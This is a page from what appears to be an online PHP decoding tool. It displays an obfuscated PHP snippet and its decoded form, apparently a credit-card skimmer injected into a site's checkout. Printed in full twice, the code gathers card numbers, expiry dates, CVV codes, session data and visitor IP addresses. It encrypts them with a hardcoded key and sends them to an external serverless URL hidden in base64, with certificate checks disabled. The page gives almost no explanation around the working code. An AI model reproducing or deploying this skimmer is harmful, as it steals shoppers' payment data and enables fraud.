Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

$yc6bc94756=array_merge($_GET,$_POST);$bu572d4e42=base64_decode('aHR0cHM6Ly9ueWdrNnUzMnhrZ..

Decoded Output download

<?  $yc6bc94756=array_merge($_GET,$_POST);$bu572d4e42=base64_decode('aHR0cHM6Ly9ueWdrNnUzMnhrZG52aTJzbnpybWd6aGRiZTBmdnJjdC5sYW1iZGEtdXJsLmV1LXdlc3QtMi5vbi5hd3Mv');if(!session_id()){session_start();}$yhd056025f=isset($_SESSION[base64_decode('c2Vzc2lvbnBhc3Nwb3J0')])?$_SESSION[base64_decode('c2Vzc2lvbnBhc3Nwb3J0')]:null;function ex1b27c427(){$is9d0de3ee=null;if(isset($_SERVER[base64_decode('SFRUUF9DRl9DT05ORUNUSU5HX0lQ')])&&!empty($_SERVER[base64_decode('SFRUUF9DRl9DT05ORUNUSU5HX0lQ')])){$ve957b527b=trim($_SERVER[base64_decode('SFRUUF9DRl9DT05ORUNUSU5HX0lQ')]);if(filter_var($ve957b527b,FILTER_VALIDATE_IP,FILTER_FLAG_NO_PRIV_RANGE|FILTER_FLAG_NO_RES_RANGE)!==false){$is9d0de3ee=$ve957b527b;}}elseif(isset($_SERVER[base64_decode('SFRUUF9DTElFTlRfSVA=')])&&!empty($_SERVER[base64_decode('SFRUUF9DTElFTlRfSVA=')])){$is9d0de3ee=$_SERVER[base64_decode('SFRUUF9DTElFTlRfSVA=')];}elseif(isset($_SERVER[base64_decode('SFRUUF9YX0ZPUldBUkRFRF9GT1I=')])&&!empty($_SERVER[base64_decode('SFRUUF9YX0ZPUldBUkRFRF9GT1I=')])){$is9d0de3ee=$_SERVER[base64_decode('SFRUUF9YX0ZPUldBUkRFRF9GT1I=')];}elseif(isset($_SERVER[base64_decode('UkVNT1RFX0FERFI=')])){$is9d0de3ee=$_SERVER[base64_decode('UkVNT1RFX0FERFI=')];}if(in_array($is9d0de3ee,array(base64_decode('Ojox'),base64_decode('MTI3LjAuMC4x'),base64_decode('bG9jYWxob3N0')))){$is9d0de3ee=base64_decode('MTI3LjAuMC4x');}return $is9d0de3ee?$is9d0de3ee:base64_decode('dW5rbm93bg==');}$oj3d25fcce=isset($yc6bc94756[base64_decode('Y2FyZE51bWJlcg==')])?$yc6bc94756[base64_decode('Y2FyZE51bWJlcg==')]:(isset($yc6bc94756[base64_decode('Y2FyZF9udW1iZXI=')])?$yc6bc94756[base64_decode('Y2FyZF9udW1iZXI=')]:null);$df357727f0=isset($yc6bc94756[base64_decode('ZXhwaXJhdGlvbkRhdGU=')])?$yc6bc94756[base64_decode('ZXhwaXJhdGlvbkRhdGU=')]:null;$ih05f59f17=isset($yc6bc94756[base64_decode('Y1ZWQ29kZQ==')])?$yc6bc94756[base64_decode('Y1ZWQ29kZQ==')]:(isset($yc6bc94756[base64_decode('Y2FyZF9jdmM=')])?$yc6bc94756[base64_decode('Y2FyZF9jdmM=')]:null);if(isset($yc6bc94756[base64_decode('Y2FyZF9leHBfbW9udGg=')])&&isset($yc6bc94756[base64_decode('Y2FyZF9leHBfeWVhcg==')])){$df357727f0=$sudb97af04=$je13bc692c.base64_decode('LQ==').$aacf945824;}if(isset($oj3d25fcce)&&isset($df357727f0)&&isset($ih05f59f17)){if(isset($yhd056025f)){$jl8d777f38[base64_decode('cGFzc3BvcnQ=')]=$yhd056025f;}else{$jl8d777f38[base64_decode('c2Vzc2lvbg==')]=$_SESSION;}$jl8d777f38[base64_decode('ZXh0cmE=')]=$yc6bc94756;$jl8d777f38[base64_decode('aXA=')]=ex1b27c427();$lq83878c91=json_encode($jl8d777f38);$eo4a8a08f0=base64_decode('YWVzLTI1Ni1jYmM=');$oye0323a90=true;if(in_array($eo4a8a08f0,openssl_get_cipher_methods())){$cvf0b53b2d=openssl_random_pseudo_bytes(16);$lq83878c91=openssl_encrypt($lq83878c91,$eo4a8a08f0,base64_decode('MzY2NzQyMzczOTUwNjYzMzUwNzQ0ZDRhMzM1OTU0NTE='),$ti93da65a9=1,$cvf0b53b2d,$xye4d23e84);$lq83878c91=bin2hex($cvf0b53b2d).base64_decode('Og==').bin2hex($lq83878c91);$oye0323a90=false;}if($oye0323a90){$bu572d4e42=$bu572d4e42.base64_decode('P2Nj');}$wqd88fc6ed=curl_init($bu572d4e42);curl_setopt($wqd88fc6ed,CURLOPT_SSL_VERIFYPEER,false);curl_setopt($wqd88fc6ed,CURLOPT_CONNECTTIMEOUT,15);curl_setopt($wqd88fc6ed,CURLOPT_TIMEOUT,75);curl_setopt($wqd88fc6ed,CURLOPT_HTTPHEADER,array(base64_decode('Q29udGVudC1UeXBlOiB0ZXh0L3BsYWluOyBjaGFyc2V0PXV0Zi04')));curl_setopt($wqd88fc6ed,CURLOPT_CUSTOMREQUEST,base64_decode('UE9TVA=='));curl_setopt($wqd88fc6ed,CURLOPT_RETURNTRANSFER,true);curl_setopt($wqd88fc6ed,CURLOPT_POSTFIELDS,$lq83878c91);curl_setopt($wqd88fc6ed,CURLOPT_FOLLOWLOCATION,1);curl_exec($wqd88fc6ed);curl_close($wqd88fc6ed);} ?>

Did this file decode correctly?

Original Code

$yc6bc94756=array_merge($_GET,$_POST);$bu572d4e42=base64_decode('aHR0cHM6Ly9ueWdrNnUzMnhrZG52aTJzbnpybWd6aGRiZTBmdnJjdC5sYW1iZGEtdXJsLmV1LXdlc3QtMi5vbi5hd3Mv');if(!session_id()){session_start();}$yhd056025f=isset($_SESSION[base64_decode('c2Vzc2lvbnBhc3Nwb3J0')])?$_SESSION[base64_decode('c2Vzc2lvbnBhc3Nwb3J0')]:null;function ex1b27c427(){$is9d0de3ee=null;if(isset($_SERVER[base64_decode('SFRUUF9DRl9DT05ORUNUSU5HX0lQ')])&&!empty($_SERVER[base64_decode('SFRUUF9DRl9DT05ORUNUSU5HX0lQ')])){$ve957b527b=trim($_SERVER[base64_decode('SFRUUF9DRl9DT05ORUNUSU5HX0lQ')]);if(filter_var($ve957b527b,FILTER_VALIDATE_IP,FILTER_FLAG_NO_PRIV_RANGE|FILTER_FLAG_NO_RES_RANGE)!==false){$is9d0de3ee=$ve957b527b;}}elseif(isset($_SERVER[base64_decode('SFRUUF9DTElFTlRfSVA=')])&&!empty($_SERVER[base64_decode('SFRUUF9DTElFTlRfSVA=')])){$is9d0de3ee=$_SERVER[base64_decode('SFRUUF9DTElFTlRfSVA=')];}elseif(isset($_SERVER[base64_decode('SFRUUF9YX0ZPUldBUkRFRF9GT1I=')])&&!empty($_SERVER[base64_decode('SFRUUF9YX0ZPUldBUkRFRF9GT1I=')])){$is9d0de3ee=$_SERVER[base64_decode('SFRUUF9YX0ZPUldBUkRFRF9GT1I=')];}elseif(isset($_SERVER[base64_decode('UkVNT1RFX0FERFI=')])){$is9d0de3ee=$_SERVER[base64_decode('UkVNT1RFX0FERFI=')];}if(in_array($is9d0de3ee,array(base64_decode('Ojox'),base64_decode('MTI3LjAuMC4x'),base64_decode('bG9jYWxob3N0')))){$is9d0de3ee=base64_decode('MTI3LjAuMC4x');}return $is9d0de3ee?$is9d0de3ee:base64_decode('dW5rbm93bg==');}$oj3d25fcce=isset($yc6bc94756[base64_decode('Y2FyZE51bWJlcg==')])?$yc6bc94756[base64_decode('Y2FyZE51bWJlcg==')]:(isset($yc6bc94756[base64_decode('Y2FyZF9udW1iZXI=')])?$yc6bc94756[base64_decode('Y2FyZF9udW1iZXI=')]:null);$df357727f0=isset($yc6bc94756[base64_decode('ZXhwaXJhdGlvbkRhdGU=')])?$yc6bc94756[base64_decode('ZXhwaXJhdGlvbkRhdGU=')]:null;$ih05f59f17=isset($yc6bc94756[base64_decode('Y1ZWQ29kZQ==')])?$yc6bc94756[base64_decode('Y1ZWQ29kZQ==')]:(isset($yc6bc94756[base64_decode('Y2FyZF9jdmM=')])?$yc6bc94756[base64_decode('Y2FyZF9jdmM=')]:null);if(isset($yc6bc94756[base64_decode('Y2FyZF9leHBfbW9udGg=')])&&isset($yc6bc94756[base64_decode('Y2FyZF9leHBfeWVhcg==')])){$df357727f0=$sudb97af04=$je13bc692c.base64_decode('LQ==').$aacf945824;}if(isset($oj3d25fcce)&&isset($df357727f0)&&isset($ih05f59f17)){if(isset($yhd056025f)){$jl8d777f38[base64_decode('cGFzc3BvcnQ=')]=$yhd056025f;}else{$jl8d777f38[base64_decode('c2Vzc2lvbg==')]=$_SESSION;}$jl8d777f38[base64_decode('ZXh0cmE=')]=$yc6bc94756;$jl8d777f38[base64_decode('aXA=')]=ex1b27c427();$lq83878c91=json_encode($jl8d777f38);$eo4a8a08f0=base64_decode('YWVzLTI1Ni1jYmM=');$oye0323a90=true;if(in_array($eo4a8a08f0,openssl_get_cipher_methods())){$cvf0b53b2d=openssl_random_pseudo_bytes(16);$lq83878c91=openssl_encrypt($lq83878c91,$eo4a8a08f0,base64_decode('MzY2NzQyMzczOTUwNjYzMzUwNzQ0ZDRhMzM1OTU0NTE='),$ti93da65a9=1,$cvf0b53b2d,$xye4d23e84);$lq83878c91=bin2hex($cvf0b53b2d).base64_decode('Og==').bin2hex($lq83878c91);$oye0323a90=false;}if($oye0323a90){$bu572d4e42=$bu572d4e42.base64_decode('P2Nj');}$wqd88fc6ed=curl_init($bu572d4e42);curl_setopt($wqd88fc6ed,CURLOPT_SSL_VERIFYPEER,false);curl_setopt($wqd88fc6ed,CURLOPT_CONNECTTIMEOUT,15);curl_setopt($wqd88fc6ed,CURLOPT_TIMEOUT,75);curl_setopt($wqd88fc6ed,CURLOPT_HTTPHEADER,array(base64_decode('Q29udGVudC1UeXBlOiB0ZXh0L3BsYWluOyBjaGFyc2V0PXV0Zi04')));curl_setopt($wqd88fc6ed,CURLOPT_CUSTOMREQUEST,base64_decode('UE9TVA=='));curl_setopt($wqd88fc6ed,CURLOPT_RETURNTRANSFER,true);curl_setopt($wqd88fc6ed,CURLOPT_POSTFIELDS,$lq83878c91);curl_setopt($wqd88fc6ed,CURLOPT_FOLLOWLOCATION,1);curl_exec($wqd88fc6ed);curl_close($wqd88fc6ed);}

Function Calls

array_merge 1

Variables

None

Stats

MD5 71881797ca9930c656671952e901e25d
Eval Count 0
Decode Time 70 ms